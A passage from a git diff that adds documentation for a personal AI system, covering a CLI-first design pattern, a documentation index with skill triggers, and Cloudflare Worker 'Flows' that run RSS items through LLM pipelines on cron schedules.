+for (const uc of useCases) { + await bash(`evals run --use-case ${uc.id}`); +} + +// Query for failures +const failures = await bash('evals query runs --status failed --json'); + +// Present to user +``` + +--- + +## When to Apply This Pattern + +### ✅ Apply CLI-First When: + +1. **Repeated Operations**: Task will be performed multiple times +2. **Deterministic Results**: Same input should always produce same output +3. **Complex State**: Managing files, databases, configurations +4. **Query Requirements**: Need to search, filter, aggregate data +5. **Version Control**: Operations should be tracked and reproducible +6. **Testing Needs**: Want to test independently of AI +7. **User Flexibility**: Users might want to script or automate + +**Examples:** +- Evaluation systems (evals) +- Content management (parser, blog posts) +- Infrastructure management (MCP profiles, dotfiles) +- Data processing (ETL pipelines, transformations) +- Project scaffolding (creating skills, commands) + +### ❌ Don't Need CLI-First When: + +1. **One-Off Operations**: Will only be done once or rarely +2. **Simple File Operations**: Just reading or writing a single file +3. **Pure Computation**: No state management or side effects +4. **Exploratory Analysis**: Ad-hoc investigation, not repeated + +**Examples:** +- Reading a specific file once +- Quick data exploration +- One-time code refactoring +- Answering a question about existing code + +--- + +## Migration Strategy + +### For Existing PAI Systems + +**Assess Current State:** +1. Identify systems using ad-hoc prompting +2. Evaluate if CLI-First would improve them +3. Prioritize high-value conversions + +**Gradual Migration:** +1. Build CLI alongside existing prompting +2. Migrate one command at a time +3. Update prompting layer to use CLI +4. Deprecate ad-hoc implementations +5. Document and test + +**Example: Newsletter Parser** +```bash +# Before: Ad-hoc prompting reads/parses/stores content +# After: CLI-First architecture + +# Step 1: Build CLI +parser parse --url https://example.com --output content.json +parser store --file content.json --collection newsletters +parser query --collection newsletters --tag ai --limit 10 + +# Step 2: Update prompting to use CLI +# Instead of ad-hoc code, AI executes CLI commands +``` + +--- + +## Implementation Checklist + +When building a new CLI-First system: + +### Requirements Phase +- [ ] Document all required operations +- [ ] List all data entities and their relationships +- [ ] Define query requirements +- [ ] Identify edge cases and error scenarios +- [ ] Determine output formats needed + +### CLI Development Phase +- [ ] Design command structure (hierarchical, consistent) +- [ ] Implement core commands (CRUD operations) +- [ ] Implement query commands (search, filter, aggregate) +- [ ] Add validation and error handling +- [ ] Support multiple output formats (human, JSON, CSV) +- [ ] Write CLI help documentation +- [ ] Test CLI independently of AI + +### Storage Phase +- [ ] Choose storage strategy (files, database, hybrid) +- [ ] Implement file-based operations +- [ ] Add database layer if needed (for queries only) +- [ ] Ensure files remain source of truth +- [ ] Add data migration/rebuild capabilities + +### Prompting Layer Phase +- [ ] Map common user intents to CLI commands +- [ ] Implement error handling and retry logic +- [ ] Add command composition for complex operations +- [ ] Create examples and documentation +- [ ] Test AI integration end-to-end + +### Testing Phase +- [ ] Unit test CLI commands +- [ ] Integration test CLI workflows +- [ ] Test prompting layer with real user requests +- [ ] Verify deterministic behavior +- [ ] Check error handling + +--- + +## Real-World Example: Evals System + +### Step 1: Requirements +``` +Operations needed: +- Create/manage use cases +- Add/manage test cases +- Add/manage golden outputs +- Create/manage prompt versions +- Run evaluations +- Query results (by model, prompt, score, date) +- Compare runs (models, prompts, versions) +``` + +### Step 2: CLI Design +```bash +# Use case management +evals use-case create --name --description +evals use-case list +evals use-case show --name +evals use-case delete --name + +# Test case management +evals test-case add --use-case --id --input +evals test-case list --use-case +evals test-case show --use-case --id + +# Golden output management +evals golden add --use-case --test-id --file +evals golden update --use-case --test-id --file + +# Prompt management +evals prompt create --use-case --version --file +evals prompt list --use-case +evals prompt show --use-case --version + +# Run evaluations +evals run --use-case [--model ] [--prompt ] +evals run --use-case --all-models +evals run --use-case --all-prompts + +# Query results +evals query runs --use-case [--limit N] +evals query runs --model [--score-min X] +evals query runs --since + +# Compare +evals compare runs --run-a --run-b +evals compare models --use-case --prompt +evals compare prompts --use-case --model +``` + +### Step 3: Prompting Integration +``` +User: "Run evals for newsletter summary with Claude and GPT-4, then compare them" + +AI executes: +1. evals run --use-case newsletter-summary --model claude-3-5-sonnet +2. evals run --use-case newsletter-summary --model gpt-4o +3. evals compare models --use-case newsletter-summary +4. Summarize results in structured format + +User sees: +- Run summaries (tests passed, scores) +- Model comparison (which performed better) +- Detailed results if requested +``` + +--- + +## Benefits Recap + +**For Development:** +- Faster iteration (CLI can be tested independently) +- Better debugging (inspect exact commands) +- Easier testing (unit test CLI, integration test AI) +- Clear separation of concerns (CLI = logic, AI = orchestration) + +**For Users:** +- Consistent results (deterministic CLI) +- Scriptable (can automate without AI) +- Discoverable (CLI help shows capabilities) +- Flexible (use via AI or direct CLI) + +**For System:** +- Maintainable (changes to CLI are explicit) +- Evolvable (add commands without breaking AI layer) +- Reliable (CLI behavior doesn't drift) +- Composable (commands can be combined) + +--- + +## Key Takeaway + +**Build tools that work perfectly without AI, then add AI to make them easier to use.** + +AI should orchestrate deterministic tools, not replace them with ad-hoc prompting. + +--- + +## Related Documentation + +- **Architecture**: `~/.opencode/PAI/PAISYSTEMARCHITECTURE.md` + +--- + +## Configuration Flags: Origin and Rationale + +**Added:** 2025-12-08 + +The Configuration Flags pattern was added after analyzing indydevdan's "fork-repository-skill" approach, which uses variable blocks at the skill level to control behavior. + +**Key insight from analysis:** +- Indydevdan's variables are powerful but belong at the **tool layer** (as CLI flags), not the skill layer +- PAI's Skill → Workflow → Tool hierarchy is architecturally superior +- Variables become CLI flags, maintaining CLI-First determinism +- Workflows map user intent to flags, exposing tool flexibility + +**What we adopted:** +- Configuration flags for behavioral control +- Workflow-to-tool intent mapping tables +- Natural language → flag translation pattern + +**What we didn't adopt:** +- Skill-level variables (skills remain intent-focused) +- IF-THEN conditional routing (implicit routing works fine) +- Feature flag toggles (separate workflows instead) + +**The principle:** Tools are configurable via flags. Workflows interpret intent and construct flag-enriched commands. Skills define capability domains. + +--- + +**This pattern is now standard for all new PAI systems.** diff --git a/.opencode/PAI/DOCUMENTATIONINDEX.md b/.opencode/PAI/DOCUMENTATIONINDEX.md new file mode 100755 index 00000000..59a2d5ea --- /dev/null +++ b/.opencode/PAI/DOCUMENTATIONINDEX.md @@ -0,0 +1,87 @@ +--- +name: DocumentationIndex +description: Complete CORE documentation index with detailed descriptions. Reference material extracted from SKILL.md for on-demand loading. +created: 2025-12-17 +extracted_from: SKILL.md (context loading section) +--- + +# CORE Documentation Index + +**Quick reference in SKILL.md** → For full details, see this file + +--- + +## 📚 Documentation Index & Route Triggers + +**All documentation files are in `~/.opencode/PAI/` with USER/ subdirectory for personal overrides. Read these files when you need deeper context.** + +**Core Architecture & Philosophy:** +- `PAISYSTEMARCHITECTURE.md` - System architecture and philosophy, foundational principles (CLI-First, Deterministic Code, Prompts Wrap Code) | ⭐ PRIMARY REFERENCE | Triggers: "system architecture", "how does the system work", "system principles" +- `FEEDSYSTEM.md` - Feed System: intelligence aggregation, multi-dimensional rating, rule-based routing, Arbol integration | ⭐ CRITICAL | Triggers: "feed system", "intelligence routing", "content monitoring", "feed architecture", "rating system", "routing rules" +- `ACTIONS.md` - Actions: atomic units of work (LLM, shell, custom) deployed as Cloudflare Workers | Triggers: "actions", "arbol actions", "action workers" +- `PIPELINES.md` - Pipelines: action chaining with verification gates | Triggers: "pipelines", "action chaining", "verification gates" +- `FLOWS.md` - Flows: scheduled source → pipeline → destination orchestration via Cloudflare Cron | Triggers: "flows", "cron triggers", "scheduled pipelines", "arbol flows" +- `ARBOLSYSTEM.md` - Arbol: unified overview of the Cloudflare Workers execution platform (Actions, Pipelines, Flows) | Triggers: "arbol", "arbol system", "cloud execution", "worker architecture" +- `DEPLOYMENT.md` - End-to-end Cloudflare Workers deployment guide (Wrangler, secrets, service bindings, cron triggers) | Triggers: "deploy", "cloudflare deploy", "wrangler", "deploy action", "deploy worker" +- `CLI.md` - PAI command-line tools: Algorithm CLI (loop/interactive mode) and Arbol CLI (actions/pipelines) | Triggers: "algorithm CLI", "pai CLI", "command line", "run algorithm", "run action" +- `SYSTEM_USER_EXTENDABILITY.md` - Two-tier SYSTEM/USER architecture for extensibility | Triggers: "two tier", "system vs user", "how to extend", "customization pattern" +- `CLIFIRSTARCHITECTURE.md` - CLI-First pattern details +- `BROWSERAUTOMATION.md` - Browser automation and visual verification | Triggers: "browser automation", "playwright", "screenshot verification" +- `SKILLSYSTEM.md` - Custom skill system with triggers and workflow routing | ⭐ CRITICAL | Triggers: "how to structure a skill", "skill routing", "create new skill" + +**Skill Execution:** + +When a skill is invoked, follow the SKILL.md instructions step-by-step: execute voice notifications, use the routing table to find the workflow, and follow the workflow instructions in order. + +**🚨 MANDATORY USE WHEN FORMAT (Always Active):** + +Every skill description MUST use this format: +``` +description: [What it does]. USE WHEN [intent triggers using OR]. [Capabilities]. +``` + +**Example:** +``` +description: Complete blog workflow. USE WHEN user mentions their blog, website, or site, OR wants to write, edit, or publish content. Handles writing, editing, deployment. +``` + +**Rules:** +- `USE WHEN` keyword is MANDATORY (Claude Code parses this) +- Use intent-based triggers: `user mentions`, `user wants to`, `OR` +- Do NOT list exact phrases like `'write a blog post'` +- Max 1024 characters + +See `SKILLSYSTEM.md` for complete documentation. + +**Development & Testing:** +- `USER/TECHSTACKPREFERENCES.md` - Core technology stack (TypeScript, bun, Cloudflare) | Triggers: "what stack do I use", "TypeScript or Python", "bun or npm" +- Testing standards → Development Skill + +**Agent System:** +- **Agents Skill** (`~/.opencode/skills/Agents/`) - Complete agent composition system | See Agents skill for custom agent creation, traits, and voice mappings +- Delegation patterns are documented inline in the "Delegation & Parallelization" section below + +**Response & Communication:** +- `USER/RESPONSEFORMAT.md` - Mandatory response format | Triggers: "output format", "response format" +- `THEFABRICSYSTEM.md` - Fabric patterns | Triggers: "fabric patterns", "prompt engineering" +- Voice notifications → VoiceServer (system alerts, agent feedback) + +**Configuration & Systems:** +- `THEHOOKSYSTEM.md` - Hook configuration | Triggers: "hooks configuration", "create custom hooks" +- `MEMORYSYSTEM.md` - Memory documentation | Triggers: "memory system", "capture system", "work tracking", "session history" +- `TERMINALTABS.md` - Terminal tab state system (colors + suffixes for working/completed/awaiting/error states) | Triggers: "tab colors", "tab state", "kitty tabs" + +**Reference Data:** +- `USER/ASSETMANAGEMENT.md` - Digital assets registry for instant recognition & vulnerability management | ⭐ CRITICAL | Triggers: "my site", "vulnerability", "what uses React", "upgrade path", "tech stack" +- `USER/CONTACTS.md` - Complete contact directory | Triggers: "who is Angela", "Bunny's email", "show contacts" | Top 7 quick ref below +- `USER/DEFINITIONS.md` - Canonical definitions | Triggers: "definition of AGI", "how do we define X" +- `PAISECURITYSYSTEM/` - Security architecture, patterns, and defense protocols | Triggers: "security system", "security patterns", "prompt injection" +- `PAI/USER/PAISECURITYSYSTEM/` - Personal security policies (private) | See security section below for critical always-active rules + +**Workflows:** +- `Workflows/` - Operational procedures (git, delegation, MCP, blog deployment, etc.) + +--- + +**See Also:** +- SKILL.md > Documentation Index - Condensed table version diff --git a/.opencode/PAI/FLOWS.md b/.opencode/PAI/FLOWS.md new file mode 100644 index 00000000..ed618c1d --- /dev/null +++ b/.opencode/PAI/FLOWS.md @@ -0,0 +1,452 @@ +# Flows + +> **PAI 4.0** — This system is under active development. APIs, configuration formats, and features may change without notice. + +**Connecting Sources to Pipelines on a Schedule** + +Flows are the fifth primitive in the architecture. They connect external sources to pipelines on a cron schedule, orchestrating the complete data-to-action lifecycle. + +> **Note:** Personal flow configurations are stored in `USER/FLOWS/`. This document describes the framework. + +--- + +## What Flows Are + +Flows orchestrate the connection between **external content sources** and **internal pipelines** on a **schedule**. They are the outermost layer of the execution model. + +**The Flow Pattern:** + +``` +Source ──(schedule)──> Pipeline ──> Destination +``` + +**Example - RSS Email Digest:** + +``` +RSS Feed (example.com/feed) ──(*/30 * * * *)──> P_YOUR_PIPELINE ──> your-email@example.com +``` + +**Primitive Hierarchy:** + +| Primitive | Prefix | What It Does | Composes | +|-----------|--------|--------------|----------| +| **Action** | `A_` | Single unit of work (LLM call, API call, shell command) | Nothing | +| **Pipeline** | `P_` | Chains actions in sequence via pipe model | Actions | +| **Flow** | `F_` | Connects source → pipeline → destination on a schedule | Pipelines | + +--- + +## Cloud Architecture (Arbol) + +Flows run as **Cloudflare Workers** in the [Arbol project](~/Projects/arbol/). They use Cloudflare's native features for scheduling and composition. + +``` +┌────────────────────────────────────────────────────────────────┐ +│ ARBOL (Cloudflare) │ +│ │ +│ FLOWS (F_) PIPELINES (P_) ACTIONS (A_) │ +│ ─────────── ────────────── ──────────── │ +│ Cron-triggered Service bindings Individual │ +│ Workers that that chain actions Workers │ +│ fetch sources in sequence │ +│ │ +│ F_YOUR_FLOW ───────────> P_YOUR_PIPELINE ───> A_YOUR_ACTION │ +│ │ │ A_SEND_EMAIL │ +│ │ */30 * * * * │ internal │ │ +│ │ (every 30 min) │ service │ Resend API│ +│ │ │ bindings │ Anthropic │ +│ └── fetches source └── pipes output └── does work│ +│ │ +│ ALL Workers authenticated via shared/auth.ts (Bearer token) │ +└────────────────────────────────────────────────────────────────┘ +``` + +### Cloudflare Features Used + +| Feature | Purpose | +|---------|---------| +| **Cron Triggers** | Schedule flow execution (no external scheduler) | +| **Service Bindings** | Zero-hop internal calls between Workers | +| **Secrets** | Store AUTH_TOKEN, API keys securely | +| **Workers** | Serverless execution environment | + +--- + +## Naming Convention + +- **Prefix:** `F_` for flows +- **Case:** `UPPER_SNAKE_CASE` +- **Pattern:** `F_SOURCE_PIPELINE` (what feeds into what) +- **Worker name:** `arbol-f-{kebab-case-name}` + +**Examples:** + +| Flow ID | Worker Name | Source | Pipeline | +|---------|-------------|--------|----------| +| `F_RSS_LABEL_EMAIL` | `arbol-f-rss-label-email` | RSS Feed | P_YOUR_PIPELINE | +| `F_BLOG_LABEL_EMAIL` | `arbol-f-blog-label-email` | Blog RSS | P_YOUR_PIPELINE | + +--- + +## Flow Registry + +Local flow definitions are tracked in `~/.opencode/PAI/FLOWS/flow-index.json`: + +```json +{ + "flows": [ + { + "id": "flow-your-source-pipeline", + "name": "Your Flow Name", + "source": { "type": "rss", "url": "https://example.com/feed" }, + "pipeline": "P_YOUR_PIPELINE", + "destination": { "type": "email", "address": "your-email@example.com" }, + "schedule": { "intervalMinutes": 30, "enabled": true } + } + ] +} +``` + +Flow state (run history, errors) is tracked in `~/.opencode/MEMORY/STATE/flow-state.json`. + +--- + +## How Flows Work + +### 1. Cron Trigger + +Cloudflare fires the `scheduled()` handler on the configured interval. No external scheduler needed. + +```typescript +// wrangler.jsonc +{ + "triggers": { + "crons": ["*/5 * * * *"] // Every 5 minutes + } +} +``` + +### 2. Source Fetch + +The flow Worker fetches content from its configured source. Each flow implements its own source logic (RSS parsing, API calls, etc.). + +```typescript +async scheduled(event: ScheduledEvent, env: Env, ctx: ExecutionContext) { + const rssResponse = await fetch("https://hnrss.org/frontpage"); + const xml = await rssResponse.text(); + const items = parseRssItems(xml); + // ... +} +``` + +### 3. Pipeline Execution + +Each source item is piped through the pipeline Worker via a service binding. + +```typescript +const response = await env.P_YOUR_PIPELINE.fetch( + new Request("https://internal/", { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${env.AUTH_TOKEN}`, + }, + body: JSON.stringify({ + content: `${item.title}\n\n${item.description}`, + title: item.title, + to: "your-email@example.com", + subject: `[Flow] ${item.title}`, + }), + }) +); +``` + +### 4. Manual Trigger + +Every flow exposes an HTTP handler for manual triggering and health checks: + +```bash +# Health check (no auth) +curl https://arbol-f-your-flow.YOUR-SUBDOMAIN.workers.dev/health + +# Manual trigger (requires auth) +curl -X POST https://arbol-f-your-flow.YOUR-SUBDOMAIN.workers.dev/trigger \ + -H "Authorization: Bearer YOUR_TOKEN" +``` + +--- + +## Flow Execution Diagram + +``` +┌─────────────────────────────────────────────────────────────┐ +│ CLOUDFLARE CRON TRIGGER │ +│ (e.g., */5 * * * *) │ +└─────────────────────────────────────────────────────────────┘ + │ + ▼ +┌─────────────────────────────────────────────────────────────┐ +│ Flow Worker: scheduled() handler │ +│ └─► Fetch source (RSS, API, etc.) │ +│ └─► Parse items │ +└─────────────────────────────────────────────────────────────┘ + │ + ▼ +┌─────────────────────────────────────────────────────────────┐ +│ For each item: │ +│ └─► Call pipeline via service binding │ +│ └─► Pipeline chains actions internally │ +│ └─► Final action delivers to destination │ +└─────────────────────────────────────────────────────────────┘ + │ + ▼ +┌─────────────────────────────────────────────────────────────┐ +│ Log results to flow-state.json │ +│ └─► Track success/failure, duration, errors │ +└─────────────────────────────────────────────────────────────┘ +``` + +--- + +## Authentication + +All Arbol Workers use Bearer token authentication via `shared/auth.ts`: + +```bash +Authorization: Bearer YOUR_AUTH_TOKEN +``` + +- **Health endpoints** (`GET /health`) are public — no auth required +- **All other endpoints** require a valid Bearer token +- Tokens are stored as Cloudflare Worker secrets (`AUTH_TOKEN`) +- Flow Workers pass the same `AUTH_TOKEN` to downstream Workers via service bindings + +### Secrets by Worker Type + +| Secret | Flows | Pipelines | Actions (LLM) | Actions (Custom) | +|--------|-------|-----------|---------------|------------------| +| `AUTH_TOKEN` | Required | Required | Required | Required | +| `ANTHROPIC_API_KEY` | - | - | Required | - | +| `RESEND_API_KEY` | - | - | - | a-send-email only | + +--- + +## Creating a New Flow + +### Step 1: Define the Flow + +Add an entry to `flow-index.json`: + +```json +{ + "id": "flow-your-source-pipeline", + "name": "Your Flow Name", + "source": { "type": "rss", "url": "https://example.com/feed" }, + "pipeline": "P_YOUR_PIPELINE", + "destination": { "type": "email", "address": "you@example.com" }, + "schedule": { "intervalMinutes": 30, "enabled": true } +} +``` + +### Step 2: Ensure Pipeline Exists + +The referenced `P_` pipeline must already be deployed as a Worker. + +### Step 3: Create the Worker + +Add `~/Projects/arbol/workers/f-your-flow/`: + +``` +workers/f-your-flow/ +├── wrangler.jsonc # Name, triggers (crons), service bindings +└── src/ + └── index.ts # scheduled() + fetch() handlers +``` + +**wrangler.jsonc:** + +```jsonc +{ + "name": "arbol-f-your-flow", + "main": "src/index.ts", + "compatibility_date": "2026-01-30", + "compatibility_flags": ["nodejs_compat"], + "triggers": { + "crons": ["*/30 * * * *"] + }, + "services": [ + { + "binding": "P_YOUR_PIPELINE", + "service": "arbol-p-your-pipeline" + } + ] +} +``` + +### Step 4: Deploy + +```bash +cd ~/Projects/arbol + +# Add to deploy.sh ALL_WORKERS array +# Then deploy +bash deploy.sh f-your-flow + +# Set secrets +echo "token" | npx wrangler secret put AUTH_TOKEN --name arbol-f-your-flow +``` + +--- + +## Cost Considerations + +Flows that run frequently with LLM actions can accumulate significant costs. + +**Example: RSS Flow at 5-minute intervals** + +| Metric | Value | +|--------|-------| +| Items per run | ~30 | +| Runs per day | 288 | +| LLM calls per day | ~8,640 | +| Daily token volume | ~8.6M tokens | +| Estimated daily cost (Haiku) | ~$12-16 | + +**Cost mitigation strategies:** + +1. **Longer intervals** — 30 min instead of 5 min reduces cost 6x +2. **Deduplication** — Only process new items since last run +3. **Quality filtering** — Skip items that don't meet threshold +4. **Cheaper models** — Use Haiku for labeling, save Sonnet for writing + +--- + +## Deployed Workers + +| Worker | URL | Schedule | +|--------|-----|----------| +| `arbol-f-your-flow` | `https://arbol-f-your-flow.YOUR-SUBDOMAIN.workers.dev` | `*/30 * * * *` | + +--- + +## Troubleshooting + +### Flow runs but no emails sent + +Check `flow-state.json` for errors. Common causes: + +- Pipeline action returning malformed output (missing `body` for email) +- AUTH_TOKEN mismatch between Workers +- Resend API key not set on a-send-email Worker + +### High costs + +Reduce `intervalMinutes` in `flow-index.json` and redeploy the Worker with updated cron. + +### Disable a flow + +Set `"enabled": false` in `flow-index.json`. Note: This only affects local tracking. To stop the Cloudflare cron, you must either: + +1. Remove the cron from `wrangler.jsonc` and redeploy +2. Delete the Worker entirely + +--- + +## Loop Gate + +Flows can iterate their pipeline until exit criteria pass. A normal flow calls its pipeline once per source item. A looping flow calls the pipeline repeatedly until the output meets a condition. + +**The thermostat analogy:** A normal flow turns the heater on once. A looping flow keeps checking the temperature and runs the heater again until it is warm enough. + +### Normal Flow vs Looping Flow + +**Normal flow** --- one pipeline call per item: + +```typescript +async scheduled(event: ScheduledEvent, env: Env, ctx: ExecutionContext) { + const items = await fetchSource(); + + for (const item of items) { + const result = await env.P_MY_PIPELINE.fetch( + new Request("https://internal/", { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${env.AUTH_TOKEN}`, + }, + body: JSON.stringify({ content: item.content }), + }) + ); + await writeToDestination(await result.json()); + } +} +``` + +**Looping flow** --- iterates pipeline until exit criteria pass: + +```typescript +async scheduled(event: ScheduledEvent, env: Env, ctx: ExecutionContext) { + const items = await fetchSource(); + const maxIterations = 5; + + for (const item of items) { + let result = null; + + for (let i = 0; i < maxIterations; i++) { + const response = await env.P_MY_PIPELINE.fetch( + new Request("https://internal/", { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${env.AUTH_TOKEN}`, + }, + body: JSON.stringify({ + content: item.content, + previousResult: result, + iteration: i, + }), + }) + ); + + result = await response.json(); + + // Exit criteria: pipeline output meets threshold + if (result.qualityScore >= 8) { + break; + } + } + + await writeToDestination(result); + } +} +``` + +### Key Points + +- **Pipelines always run once.** The pipeline has no knowledge of looping. It receives input, chains its actions, and returns output. +- **Flows control iteration.** The for-loop and exit condition live in the Flow worker. +- **`maxIterations` is mandatory.** Without a cap, failing exit criteria create an infinite loop. Default to 3-5 iterations. +- **Exit criteria are simple.** Check a field on the result: a score, a boolean, a status string. Keep it deterministic, not LLM-evaluated. +- **Cost awareness.** Each iteration re-runs the entire pipeline. A looping flow with 5 iterations and 3 LLM actions means 15 LLM calls per item. + +--- + +## Related Documentation + +- **Actions:** `~/.opencode/PAI/ACTIONS.md` *(planned)* +- **Pipelines:** `~/.opencode/PAI/PIPELINES.md` +- **Architecture:** `~/.opencode/PAI/PAISYSTEMARCHITECTURE.md` +- **Detailed README:** `~/.opencode/PAI/FLOWS/README.md` +- **Source code:** `~/Projects/arbol/` + +--- + +**Last Updated:** 2026-02-22 + +--- + +## Changelog + +| Date | Change | Author | Related | +|------|--------|--------|---------| +| 2026-02-03 | Created document | {DAIDENTITY.NAME} | PAISYSTEMARCHITECTURE.md, ACTIONS.md, PIPELINES.md | diff --git a/.opencode/PAI/FLOWS/README.md b/.opencode/PAI/FLOWS/README.md new file mode 100644 index 00000000..e28ead56 --- /dev/null +++ b/.opencode/PAI/FLOWS/README.md @@ -0,0 +1,300 @@ +# PAI Flows + +> **PAI 4.0** — This system is under active development. APIs, configuration formats, and features may change without notice. + +Flows connect **sources** to **pipelines** on a **schedule**. A flow fetches content from an external source (RSS feed, API, etc.), pipes it through a pipeline of actions, and delivers results to a destination (email, webhook, etc.). + +> This directory contains flow documentation. Personal flow configs are in `../USER/FLOWS/`. + +``` +Source ──(schedule)──> Pipeline ──> Destination + │ │ │ + │ RSS, API, webhook │ Actions │ Email, webhook, + │ Any content source │ chained │ storage, etc. + └───────────────────────┘──────────────┘ +``` + +## Architecture + +Flows are **Cloudflare Workers** deployed in the [Arbol project](~/Projects/arbol/). They use Cloudflare **Cron Triggers** for scheduling and **service bindings** to call pipeline Workers internally. + +``` +┌────────────────────────────────────────────────────────────────┐ +│ ARBOL (Cloudflare) │ +│ │ +│ FLOWS (F_) PIPELINES (P_) ACTIONS (A_) │ +│ ─────────── ────────────── ──────────── │ +│ Cron-triggered Service bindings Individual │ +│ Workers that that chain actions Workers │ +│ fetch sources in sequence │ +│ │ +│ F_YOUR_FLOW ───────────> P_YOUR_PIPELINE ───> A_YOUR_ACTION │ +│ │ │ A_SEND_EMAIL │ +│ │ */30 * * * * │ internal │ │ +│ │ (every 30 min) │ service │ Resend API│ +│ │ │ bindings │ Anthropic │ +│ └── fetches source └── pipes output └── does work│ +│ │ +│ ALL Workers authenticated via shared/auth.ts (Bearer token) │ +└────────────────────────────────────────────────────────────────┘ +``` + +## Naming Convention + +- **Prefix:** `F_` for flows +- **Case:** `UPPER_SNAKE_CASE` +- **Pattern:** `F_SOURCE_PIPELINE` (what feeds into what) + +| Flow | Source | Pipeline | Destination | Schedule | +|------|--------|----------|-------------|----------| +| `F_RSS_LABEL_EMAIL` | RSS feed | P_YOUR_PIPELINE | your-email@example.com | Every 30 min | +| `F_BLOG_LABEL_EMAIL` | Blog RSS | P_YOUR_PIPELINE | your-email@example.com | Every 60 min | + +## How Flows Work + +### 1. Cron Trigger + +Cloudflare fires the `scheduled()` handler on the configured interval. No external scheduler needed — Cloudflare manages timing natively. + +```typescript +// wrangler.jsonc +{ + "triggers": { + "crons": ["*/5 * * * *"] // Every 5 minutes + } +} +``` + +### 2. Source Fetch + +The flow Worker fetches content from its configured source. Each flow implements its own source logic (RSS parsing, API calls, etc.). + +```typescript +async scheduled(event: ScheduledEvent, env: Env, ctx: ExecutionContext) { + const rssResponse = await fetch("https://hnrss.org/frontpage"); + const xml = await rssResponse.text(); + const items = parseRssItems(xml); + // ... +} +``` + +### 3. Pipeline Execution + +Each source item is piped through the pipeline Worker via a service binding. The flow passes content + metadata, and the pipeline chains its actions. + +```typescript +const response = await env.P_YOUR_PIPELINE.fetch( + new Request("https://internal/", { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${env.AUTH_TOKEN}`, + }, + body: JSON.stringify({ + content: `${item.title}\n\n${item.description}`, + title: item.title, + to: "your-email@example.com", + subject: `[Flow] ${item.title}`, + }), + }) +); +``` + +### 4. Manual Trigger + +Every flow also exposes an HTTP handler for manual triggering and health checks: + +```bash +# Health check (no auth) +curl https://arbol-f-your-flow.YOUR-SUBDOMAIN.workers.dev/health + +# Manual trigger (requires auth) +curl -X POST https://arbol-f-your-flow.YOUR-SUBDOMAIN.workers.dev/trigger \ + -H "Authorization: Bearer YOUR_TOKEN" +``` + +## Authentication + +All Arbol Workers use Bearer token authentication via `shared/auth.ts`: + +```bash +Authorization: Bearer YOUR_AUTH_TOKEN +``` + +- **Health endpoints** (`GET /health`) are public — no auth required +- **All other endpoints** require a valid Bearer token +- Tokens are stored as Cloudflare Worker secrets (`AUTH_TOKEN`) +- Flow Workers pass the same `AUTH_TOKEN` to downstream pipeline/action Workers via service bindings + +### Setting Secrets + +```bash +cd ~/Projects/arbol + +# Set secrets for all Workers (interactive prompts) +bash deploy.sh --secrets + +# Or set individually via wrangler +echo "your-token" | npx wrangler secret put AUTH_TOKEN --name arbol-f-your-flow +``` + +### Secrets by Worker Type + +| Secret | Actions (LLM) | Actions (Custom) | Pipelines | Flows | +|--------|---------------|------------------|-----------|-------| +| `AUTH_TOKEN` | Required | Required | Required | Required | +| `ANTHROPIC_API_KEY` | Required | - | - | - | +| `RESEND_API_KEY` | - | a-send-email only | - | - | + +## Cloud Deployment + +### Workers + +| Worker | URL | Type | Schedule | +|--------|-----|------|----------| +| `arbol-f-your-flow` | `https://arbol-f-your-flow.YOUR-SUBDOMAIN.workers.dev` | Flow | `*/30 * * * *` | + +### Deploying + +```bash +cd ~/Projects/arbol + +# Deploy all Workers (actions, pipelines, flows) +bash deploy.sh --all + +# Deploy specific flow +bash deploy.sh f-your-flow + +# Set secrets (first time) +bash deploy.sh --secrets +``` + +### Worker Structure + +Each flow Worker lives in `~/Projects/arbol/workers/f-/`: + +``` +workers/f-your-flow/ +├── wrangler.jsonc # Name, triggers (crons), service bindings +└── src/ + └── index.ts # scheduled() + fetch() handlers +``` + +#### wrangler.jsonc + +```jsonc +{ + "name": "arbol-f-your-flow", + "main": "src/index.ts", + "compatibility_date": "2026-01-30", + "compatibility_flags": ["nodejs_compat"], + + // Cron Trigger: runs every 30 minutes + "triggers": { + "crons": ["*/30 * * * *"] + }, + + // Service binding to the pipeline Worker + "services": [ + { + "binding": "P_YOUR_PIPELINE", + "service": "arbol-p-your-pipeline" + } + ] +} +``` + +#### index.ts + +```typescript +export default { + // Cron Trigger handler + async scheduled(event: ScheduledEvent, env: Env, ctx: ExecutionContext) { + // 1. Fetch from source + // 2. Parse items + // 3. Pipe each through pipeline via service binding + }, + + // HTTP handler for manual triggers and health checks + async fetch(request: Request, env: Env) { + // GET /health — public status + // POST /trigger — manual execution (auth required) + }, +}; +``` + +## Flow Registry + +Local flow definitions are tracked in `flow-index.json`: + +```json +{ + "flows": [ + { + "id": "flow-your-source-pipeline", + "name": "Your Flow Name", + "source": { "type": "rss", "url": "https://example.com/feed" }, + "pipeline": "P_YOUR_PIPELINE", + "destination": { "type": "email", "address": "your-email@example.com" }, + "schedule": { "intervalMinutes": 30, "enabled": true } + } + ] +} +``` + +This registry is read by your admin dashboard to display flow status. + +## Creating a New Flow + +1. **Define the flow** — Add an entry to `flow-index.json` with source, pipeline, destination, schedule +2. **Ensure the pipeline exists** — The referenced `P_` pipeline must already be deployed as a Worker +3. **Create the Worker** — Add `~/Projects/arbol/workers/f-your-flow/` with: + - `wrangler.jsonc` — name, cron trigger, service binding to pipeline + - `src/index.ts` — `scheduled()` handler for cron, `fetch()` handler for manual trigger +4. **Add to deploy.sh** — Include the new flow in the `ALL_WORKERS` array +5. **Deploy** — `bash deploy.sh f-your-flow` +6. **Set secrets** — `echo "token" | npx wrangler secret put AUTH_TOKEN --name arbol-f-your-flow` + +## Full System Architecture + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ ARBOL │ +│ Cloudflare Workers Platform │ +│ │ +│ ┌─────────────┐ ┌──────────────────┐ ┌────────────────────────┐ │ +│ │ FLOWS │ │ PIPELINES │ │ ACTIONS │ │ +│ │ (F_) │ │ (P_) │ │ (A_) │ │ +│ │ │ │ │ │ │ │ +│ │ Cron │───>│ Service │───>│ LLM actions: │ │ +│ │ Triggers │ │ bindings │ │ A_YOUR_ACTION │ │ +│ │ │ │ chain actions │ │ A_YOUR_WRITER │ │ +│ │ Source │ │ in sequence │ │ A_YOUR_FORMATTER │ │ +│ │ fetching │ │ │ │ │ │ +│ │ │ │ │ │ Custom actions: │ │ +│ │ Item │ 